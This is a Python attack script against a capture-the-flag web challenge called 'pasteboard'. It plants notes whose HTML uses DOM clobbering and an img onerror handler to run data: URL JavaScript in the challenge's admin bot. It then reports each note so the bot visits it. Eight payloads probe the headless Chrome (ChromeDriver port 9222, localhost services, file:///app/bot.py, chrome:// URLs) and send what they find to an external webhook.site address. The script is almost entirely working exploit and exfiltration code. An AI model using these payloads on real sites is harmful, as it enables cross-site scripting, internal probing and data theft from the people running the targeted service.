#!/usr/bin/env python3
"""
No-Sandbox Abuse Tests - Exploit elevated privileges from --no-sandbox flag
"""
import requests
import time
import urllib.parse
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"


def create_and_report(title, payload):
    print(f"\n[*] Testing: {title}")
    response = requests.post(
        urljoin(CHALLENGE_URL, "/note/new"),
        data={"title": title, "body": payload},
        allow_redirects=False
    )

    if response.status_code == 302:
        note_path = response.headers.get('Location')
        print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")
        time.sleep(1)

        report_response = requests.post(
            urljoin(CHALLENGE_URL, "/report"),
            data={"url": note_path}
        )

        if report_response.status_code == 202:
            print(f"[+] Queued!")
            return True
    return False


print("="*80)
print("🔓 NO-SANDBOX ABUSE TESTS")
print("="*80)
print("Testing vectors enabled by --no-sandbox flag")
print("="*80)

# Test 1: Access chrome.debugger API (available without sandbox)
code1 = f"""(async()=>{{
try{{
  let result={{}};
  result.has_chrome_debugger=typeof chrome!=='undefined'&&typeof chrome.debugger!=='undefined';
  result.has_chrome_runtime=typeof chrome!=='undefined'&&typeof chrome.runtime!=='undefined';
  result.chrome_keys=typeof chrome!=='undefined'?Object.keys(chrome):[];
  
  // Try to use chrome.debugger
  if(result.has_chrome_debugger){{
    result.debugger_methods=Object.keys(chrome.debugger);
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'chrome_debugger_api',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=chrome_debugger_api&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code1.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 1: Chrome Debugger API", payload1)
time.sleep(8)

# Test 2: Shared Worker with file access attempt
code2 = f"""(async()=>{{
try{{
  let result={{}};
  result.has_shared_worker=typeof SharedWorker!=='undefined';
  result.has_worker=typeof Worker!=='undefined';
  
  if(result.has_shared_worker){{
    try{{
      // Try to create shared worker with file:// URL
      let worker=new SharedWorker('file:///app/bot.py');
      result.shared_worker_created=true;
      result.shared_worker_error=null;
    }}catch(e){{
      result.shared_worker_created=false;
      result.shared_worker_error=e.toString();
    }}
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'shared_worker_abuse',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=shared_worker_abuse&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code2.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 2: SharedWorker file access", payload2)
time.sleep(8)

# Test 3: Attempt to read from chrome-extension:// (extensions might be loaded)
code3 = f"""(async()=>{{
try{{
  let result={{}};
  
  // Check for extension APIs
  result.has_chrome_storage=typeof chrome!=='undefined'&&typeof chrome.storage!=='undefined';
  result.has_chrome_tabs=typeof chrome!=='undefined'&&typeof chrome.tabs!=='undefined';
  
  // Try common extension IDs or paths
  let extensionTests=[
    'chrome-extension://invalid/manifest.json',
    'chrome://extensions/',
    'chrome://inspect/'
  ];
  
  result.tests=[];
  for(let url of extensionTests){{
    try{{
      let resp=await fetch(url);
      result.tests.push({{url:url,status:resp.status,ok:resp.ok}});
    }}catch(e){{
      result.tests.push({{url:url,error:e.toString()}});
    }}
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'extension_abuse',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=extension_abuse&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code3.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 3: Chrome Extension APIs", payload3)
time.sleep(8)

# Test 4: WebAssembly with filesystem access
code4 = f"""(async()=>{{
try{{
  let result={{}};
  result.has_wasm=typeof WebAssembly!=='undefined';
  
  if(result.has_wasm){{
    // Check WASM capabilities
    result.wasm_memory=WebAssembly.Memory?true:false;
    result.wasm_module=WebAssembly.Module?true:false;
    
    // In --no-sandbox mode, WASM might have different memory access
    try{{
      let memory=new WebAssembly.Memory({{initial:1}});
      let buffer=new Uint8Array(memory.buffer);
      buffer[0]=0x42;
      result.wasm_memory_works=buffer[0]===0x42;
    }}catch(e){{
      result.wasm_error=e.toString();
    }}
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'wasm_capabilities',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=wasm_capabilities&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload4 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code4.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 4: WebAssembly capabilities", payload4)
time.sleep(8)

# Test 5: Access Selenium/ChromeDriver internal commands
code5 = f"""(async()=>{{
try{{
  let result={{}};
  
  // Get all cdc_ properties we found
  let cdcKeys=Object.keys(window).filter(k=>k.startsWith('cdc_'));
  result.cdc_keys=cdcKeys;
  
  // Try to access ChromeDriver command endpoint
  result.tests=[];
  
  // ChromeDriver typically listens on localhost
  let cdpTests=[
    'http://localhost:9222/json',
    'http://localhost:9222/json/version',
    'http://127.0.0.1:9222/json',
    '/devtools/devtools_app.html'
  ];
  
  for(let url of cdpTests){{
    try{{
      let resp=await fetch(url,{{mode:'no-cors'}});
      let text=await resp.text();
      result.tests.push({{url:url,status:resp.status,has_content:text.length>0,preview:text.substring(0,200)}});
    }}catch(e){{
      result.tests.push({{url:url,error:e.toString()}});
    }}
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'chromedriver_internal',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=chromedriver_internal&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload5 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code5.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 5: ChromeDriver internals", payload5)
time.sleep(8)

# Test 6: Abuse document.domain (unsandboxed allows more permissive changes)
code6 = f"""(async()=>{{
try{{
  let result={{}};
  result.original_domain=document.domain;
  result.original_origin=location.origin;
  
  // Try to change domain
  try{{
    document.domain='127.0.0.1';
    result.domain_change_success=true;
    result.new_domain=document.domain;
  }}catch(e){{
    result.domain_change_success=false;
    result.domain_error=e.toString();
  }}
  
  // Try to access localhost resources after domain change
  if(result.domain_change_success){{
    try{{
      let resp=await fetch('http://127.0.0.1:5000/');
      let text=await resp.text();
      result.localhost_access=true;
      result.localhost_preview=text.substring(0,500);
    }}catch(e){{
      result.localhost_access=false;
      result.localhost_error=e.toString();
    }}
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'domain_abuse',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=domain_abuse&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload6 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code6.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 6: document.domain abuse", payload6)
time.sleep(8)

# Test 7: Access to IndexedDB without quota restrictions (no-sandbox removes quota)
code7 = f"""(async()=>{{
try{{
  let result={{}};
  result.has_indexeddb=typeof indexedDB!=='undefined';
  
  if(result.has_indexeddb){{
    // Try to estimate storage quota
    if(navigator.storage&&navigator.storage.estimate){{
      let estimate=await navigator.storage.estimate();
      result.quota=estimate.quota;
      result.usage=estimate.usage;
      result.quota_unlimited=estimate.quota>1000000000000; // >1TB suggests unlimited
    }}
    
    // Try to read all databases (might include browser internals without sandbox)
    let databases=await indexedDB.databases();
    result.databases=databases.map(db=>{{name:db.name,version:db.version}});
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'indexeddb_abuse',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=indexeddb_abuse&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload7 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code7.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 7: IndexedDB quota abuse", payload7)
time.sleep(8)

# Test 8: Import modules from chrome:// URLs (might work without sandbox)
code8 = f"""(async()=>{{
try{{
  let result={{}};
  
  // Try dynamic import from chrome:// URLs
  let importTests=[
    'chrome://resources/js/cr.js',
    'chrome://resources/js/util.js',
    '/devtools/main/main.js'
  ];
  
  result.tests=[];
  for(let url of importTests){{
    try{{
      await import(url);
      result.tests.push({{url:url,success:true}});
    }}catch(e){{
      result.tests.push({{url:url,success:false,error:e.toString()}});
    }}
  }}
  
  await fetch('{WEBHOOK}',{{
    method:'POST',
    body:JSON.stringify({{method:'chrome_import_abuse',data:result}})
  }});
}}catch(e){{
  await fetch('{WEBHOOK}?method=chrome_import_abuse&error='+encodeURIComponent(e.toString()));
}}
}})();"""
payload8 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{urllib.parse.quote(code8.replace(chr(10), " "))}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'
create_and_report("Test 8: Chrome URL imports", payload8)

print("\n" + "="*80)
print("✅ ALL NO-SANDBOX ABUSE TESTS QUEUED")
print("="*80)
print(f"📊 Check webhook: {WEBHOOK}")
print("="*80)
print("\nTesting --no-sandbox exploits:")
print("  1. Chrome Debugger API access")
print("  2. SharedWorker with file:// URLs")
print("  3. Chrome Extension APIs")
print("  4. WebAssembly elevated capabilities")
print("  5. ChromeDriver internal endpoints")
print("  6. document.domain bypass")
print("  7. IndexedDB quota abuse")
print("  8. Import from chrome:// URLs")
print("="*80)
